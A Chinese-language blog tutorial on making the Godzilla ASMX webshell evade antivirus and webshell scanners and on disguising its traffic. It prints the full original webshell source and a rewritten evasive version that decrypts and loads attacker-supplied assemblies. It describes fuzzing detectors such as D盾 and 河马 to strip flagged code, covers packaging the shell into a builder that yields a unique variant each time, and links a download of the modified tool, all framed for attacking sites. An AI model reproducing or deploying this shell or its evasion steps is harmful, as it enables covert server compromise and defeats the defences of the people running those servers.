前言

上面的文章做了动态的免杀,以及基于时间的密钥动态处理,计划中做一下其他语言的免杀及流量修改,本篇文章做一下asmx流量修改及免杀。

asmx简介

ASMX 文件是一个用于在 ASP.NET Web 服务中定义和处理请求的文件格式。它通常用于创建基于 XML 的 Web 服务,允许客户端与服务器进行远程交互,传输数据并执行方法。ASMX 文件通常包含服务的代码和定义,用来处理 Web 服务的请求和响应。

Web 服务(也叫做 XML Web Service)是一种能够接收来自互联网或局域网中其他系统的请求,提供轻量级通信的独立技术。Web 服务通过 SOAP 协议在 Web 上提供功能,通常由 WSDL 文件描述,并通过 UDDI 注册。

  1. SOAP(简单对象访问协议):它是 XML Web 服务的通信协议,定义了如何通过 HTTP 或其他底层协议来调用 Web 服务中的方法。SOAP 使用 XML 格式的消息进行通信。
  2. WSDL(Web 服务描述语言):一个 XML 文档,用于描述 Web 服务的操作以及如何交换数据。WSDL 文件通常由软件自动生成,并且可以通过 UDDI 进行注册。
  3. UDDI(统一描述、发现与集成):一种标准的 Web 服务目录,允许 Web 服务注册并被其他系统发现。

.asmx是webservice服务程序的后缀名,ASP.NET 使用.asmx 文件来对Web Services的支持。.asmx 文件和.aspx文件一样都属于文本文件。它包含在.aspx文件之中,成为ASP.NET应用程序的一部分。

具有 .asmx 扩展名的文件是一种 ASP.NET Web 服务文件,它使用简单对象访问协议 (SOAP) 在 Internet 上提供两个对象之间的通信。它作为服务部署在基于 Windows 的 Web 服务器上,用于处理传入请求并返回响应。与包含 ASP.NET 网页可视化显示代码的ASPX文件不同,ASMX 文件在后台运行在服务器上,并执行不同的任务,例如连接数据库、检索数据和返回数据提出请求的格式。这些专门用于 XML Web 服务。

说那么多,不如一见,我们在打战的时候经常会见到这种页面,那么这种也页面就是采用的这种形式。

image-20250124180239062

来看一下传参方式,这里是一个计算器,有四种方法,加减乘除。

image-20250126164320685

这里选择加,可以看到有两个参数num,采用xml的传参方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /aspx/time/calc.asmx HTTP/1.1
Host: 192.168.144.205
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/Add"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Add xmlns="http://tempuri.org/">
<num1>double</num1>
<num2>double</num2>
</Add>
</soap:Body>
</soap:Envelope>

image-20250126164744661

这里经过笔者测试,这个SOAPAction: "http://tempuri.org/Add"经过测试是可以去掉的。不写这一句也没问题。以下咱们就给他去掉好了,少一句话,就少一个特征,宁可信其有,不可以信其无。好,本编主要看的是asmx免杀这里就简单讲一下格式,一会还会看到。

asmx免杀

先简单来看一下哥斯拉原版asmx木马。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<%@ WebService Language="C#" Class="WebService1" %>
public class WebService1 : System.Web.Services.WebService
{
[System.Web.Services.WebMethod(EnableSession = true)]
public string asd(string asd)
{
System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder();
try
{
string key = "544e864796f05937";
string bohemian_pass = "asd";
string md5 = System.BitConverter.ToString(
new System.Security.Cryptography.MD5CryptoServiceProvider()
.ComputeHash(System.Text.Encoding.Default.GetBytes(asd_pass + key))
).Replace("-", "");
byte[] data = System.Convert.FromBase64String(System.Web.HttpUtility.UrlDecode(bohemian));
data = new System.Security.Cryptography.RijndaelManaged()
.CreateDecryptor(
System.Text.Encoding.Default.GetBytes(key),
System.Text.Encoding.Default.GetBytes(key)
)
.TransformFinalBlock(data, 0, data.Length);

if (Context.Session["payload"] == null)
{
Context.Session["payload"] = (System.Reflection.Assembly)
typeof(System.Reflection.Assembly)
.GetMethod("Load", new System.Type[] { typeof(byte[]) })
.Invoke(null, new object[] { data });
}
else
{
object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");
System.IO.MemoryStream outStream = new System.IO.MemoryStream();
o.Equals(Context);
o.Equals(outStream);
o.Equals(data);
o.ToString();
byte[] r = outStream.ToArray();
stringBuilder.Append(md5.Substring(0, 16));
stringBuilder.Append(
System.Convert.ToBase64String(
new System.Security.Cryptography.RijndaelManaged()
.CreateEncryptor(
System.Text.Encoding.Default.GetBytes(key),
System.Text.Encoding.Default.GetBytes(key)
)
.TransformFinalBlock(r, 0, r.Length)
)
);
stringBuilder.Append(md5.Substring(16));
}
}
catch (System.Exception)
{
}
return stringBuilder.ToString();
}
}

简单看一下,其实和aspx的木马差不多的。无非是一些细节上不一样。加载方式、函数啥的。

image-20250126165948109

放到d盾中,5级。我们进行一下简单fuzz。

image-20250126170127598

直接删一般,看到报2级,应该是还有问题。

根据以往经验,大概率是加密问题,data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(

这句中RijndaelManaged这个函数,是加密使用的,我们给他删掉

image-20250126170417879

这样就没问题了,那么还是要用的,经过搜索,我们可以用AesManaged()函数代替

data = new System.Security.Cryptography..CreateDecryptor(changshangsan, changshangsan).TransformFinalBlock(data, 0, data.Length);也就是说像这样写就可以了。

刚刚删掉的那一段拿回来继续fuzz一下。

这里fuzz后是 Context.Session["payload"] = (System.Reflection.Assembly) typeof(System.Reflection.Assembly) .GetMethod("Load", new System.Type[] { typeof(byte[]) }) .Invoke(null, new object[] { data });

可以看到是加载data的,我们进行改写一下,笔者在fuzz的时候,大概率是load或者payload的问题,还有这个invoke,也是威胁的。

if (Context.Session["changshangyi"] == null) { AppDomain currentDomain = AppDomain.CurrentDomain; byte[] assemblyData = data; System.IO.MemoryStream assemblyStream = new System.IO.MemoryStream(assemblyData); System.Reflection.Assembly assembly = currentDomain.Load(assemblyStream.ToArray()); Context.Session["changshangyi"] = assembly;

写的时候,我们给他换种写法,把关键字给他去掉

data为获取到的很多方法

system.IO.MemoryStream assemblyStream = new System.IO.MemoryStream(assemblyData);

  • 使用字节数组 assemblyData 创建一个内存流对象 assemblyStream
  • 内存流允许字节数组的操作模拟文件流,方便后续处理。

System.Reflection.Assembly assembly = currentDomain.Load(assemblyStream.ToArray());

  • 将内存流的数据转换为字节数组并加载为程序集 (Assembly) 对象。
  • currentDomain.Load 会在当前应用程序域中动态加载该程序集,类似于运行时将 DLL 文件加载进来。

在同一个用户的后续请求中,代码可以直接从 Session 获取已经加载的程序集,而不必重复加载。

image-20250126171955261

这样,我们就改好了,这样就没有问题了。

image-20250126172311033

看一下是否能用。

image-20250126172336812

使用起来也没有问题。

image-20250126172402151

好的,我们来看看其他平台。

image-20250126172525677

这里我们可以看到河马直接就给杀了,还识别出来是godzilla。

我们在进行fuzz。经过笔者fuzz后,我发现是MD5的锅。只要有md5就报。

string md5 = System.BitConverter.ToString(
new System.Security.Cryptography.MD5CryptoServiceProvider()
.ComputeHash(System.Text.Encoding.Default.GetBytes(bohemian_pass + key))
).Replace(“-“, “”);

原版的木马中是加载了md5的,这里可以看到。我们知道,godzilla,在木马层面,md5在木马中的作用主要是将pass+key进行MD5,上几期都知道,我们改过的流量,不在进行md5做识别了,所以,一会我们将不会用到md5了,直接在木马中删掉md5就可以了。一会在定义一个其他的。

试下河马

image-20250126173336923

ok,这样就没问题了。

这样就差不多了,我们在优化一下其中的一些字符串,在其他平台可能不行。比如payload,或者一些变量的定义啥的,都给他改改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<%@ WebService Language="C#" Class="WebService1" %>
using System;
public class WebService1 : System.Web.Services.WebService
{
[System.Web.Services.WebMethod(EnableSession = true)]
public string asd(string asd)
{
System.Text.StringBuilder changshansi = new System.Text.StringBuilder();

try
{

byte[] changshangsan = System.Text.Encoding.Default.GetBytes("7815696ecbf1c96e");
byte[] changshangjiu = System.Convert.FromBase64String(System.Web.HttpUtility.UrlDecode(asd));
changshangjiu = new System.Security.Cryptography.AesManaged()
.CreateDecryptor(changshangsan, changshangsan)
.TransformFinalBlock(changshangjiu, 0, changshangjiu.Length);
if (Context.Session["changshangyi"] == null)
{
AppDomain currentDomain = AppDomain.CurrentDomain;
byte[] changshangqi = changshangjiu;
System.IO.MemoryStream changshangliu = new System.IO.MemoryStream(changshangqi);
System.Reflection.Assembly changshangwu = currentDomain.Load(changshangliu.ToArray());
Context.Session["changshangyi"] = changshangwu;
}else{object changshanger = ((System.Reflection.Assembly)Context.Session["changshangyi"])
.CreateInstance("LY");
System.IO.MemoryStream changshangshi = new System.IO.MemoryStream();
changshanger.Equals(Context);
changshanger.Equals(changshangshi);
changshanger.Equals(changshangjiu);
changshanger.ToString();
byte[] r = changshangshi.ToArray();
string qwe = "<data>";
changshansi.Append(qwe);
changshansi.Append(System.Convert.ToBase64String(
new System.Security.Cryptography.AesManaged()
.CreateEncryptor(changshangsan, changshangsan)
.TransformFinalBlock(r, 0, r.Length)));
changshansi.Append(qwe);
}
}
catch (System.Exception)
{
// Handle exceptions here (optional)
}

return changshansi.ToString();
}
}

大概就是这样。对一些字符串进行可简单优化

这里原版木马有一句string bohemian_pass = "asd"; 这个乍一看就是定义的密码,其实全文追下来会发现,并没有调用这个,索性,也给他去掉了。

vt,其实vt对webshell类不感冒的。

image-20250126174824604

微步

image-20250126175046630

image-20250126175100822

其他的火绒 360就不测试了。也没啥问题。

asmx流量修改

免杀已经做完了,那接下来就是流量修改了。

image-20250126180015692

先来看一下啊

  • "http://tempuri.org/pass" 的含义

    • http://tempuri.org/

      • 这是一个占位命名空间(temporary URI),表示临时的命名空间。它通常用于默认的 Web 服务项目,表示尚未定义特定的命名空间。

      • 在生产环境中,应替换为特定的命名空间,如:
        http://example.com/myservice 或其他规范的 URI。

这个是必须的,下面传递的参数呢就是xml格式的,右边是返回的数据,可以看到左右追加的md5 16位。

1
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><passResponse xmlns="http://tempuri.org/"><passResult>11CD6A8758984163o8tM0853zU1IMnDChC5Kz8LDfyvxkgvjI4biZcqE8CaljtGledXoE+blv/pYFFNZ6C37AC826A2A04BC</passResult></passResponse></soap:Body></soap:Envelope>

本来计划者做成下面这样的,就是将16字符串替换为,这样伪装一下。但是没成功,

1
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><passResponse xmlns="http://tempuri.org/"><passResult><data>o8tM0853zU1IMnDChC5Kz8LDfyvxkgvjI4biZcqE8CaljtGledXoE+blv/pYFFNZ</data></passResult></passResponse></soap:Body></soap:Envelope>

image-20250126181040305

这里可以看到我们将data写好之后。image-20250126181158838

可以清晰的看到就是,返回的<> 都被转义了。奈何笔者太菜了,查阅了很多资料,都没呀将尖括号就调整过来。不过这样看,也看不出来后面的=了。<soap:Body><asdResponse xmlns="http://tempuri.org/"><asdResult>&lt;data&gt;pKbveI07Gojru9gjm3HZ2nDxmEBZAUIUH0ifaEX3JQI=&lt;data&gt;</asdResult></asdResponse></soap:Body></soap:Envelope>

其实你看这个返回包,其中这个最后的=像base64,但是,当,进行url实体编码后,也好看一点了。其实主要还是将原来的16位去除掉,简单混淆一下。

好,我们这里流量就先这样。奈何现在笔者这里没有安全设备,也没有办法去试试是否免杀,还希望大家在使用后,将效果告诉笔者,咱们在做改进。

asmx免杀木马生成

好,接下来将我们的免杀封装到godzilla中,

image-20250126183223375

先做shell修改,简单修改一下

image-20250126190855167

shell模板也替换一下,image-20250126190914539

好,接下来,build project,build artifacts。

大家在使用的时候,asmx的木马在cshap中,image-20250126192127888

点击生成即可,还是推荐大家别用默认口令及密码。

生成三份

image-20250126192722085

都不一样,没啥问题。看下能不能用。

image-20250126192759491

大家使用的时候,选择CShapDynamicPayload->CSHAP_ASMX_AES_BASE64_DATA即可,

image-20250126193203603

使用起来也是没啥问题。好,这里我们就差不多改完了。

上面提到推荐大家别用默认密钥及密码或者将密码密钥设为一样的。这里说一下为什么,就是我们访问木马的时候,其实是可以看到密码。

image-20250126194700390

就是这个,参数,其实这里就是密码,但不是密钥(key)。如果别访问到了,去猜你的密钥,你设置很简单,或者和密码相同,那么你辛辛苦苦打的站就被别人上车了。

总结

本文对godzilla中asmx木马进行免杀,及流量修改进行简单免杀,将免杀木马封装到godzilla中,使用模板进行免杀,达到每次生成的木马都不相同。

下个版本

1.1版本添加木马的免杀,全语言都做好了,但是并没有改流量以及加密方式,只是做了伪装。

1.2版本做了动态密钥。

1.3版本做了左右动态添加数据,

1.4版本做了asmx动态免杀及流量修改。

后面需要做的:修改一下加密方式,这样的话会更好一点。还有就是message其实是固定的,希望能让他动起来。

下载、使用

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/godzilla_erkai

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。

参考
1
https://github.com/BeichenDream/Godzilla            原版哥斯拉

emmm 太菜了
一直在路上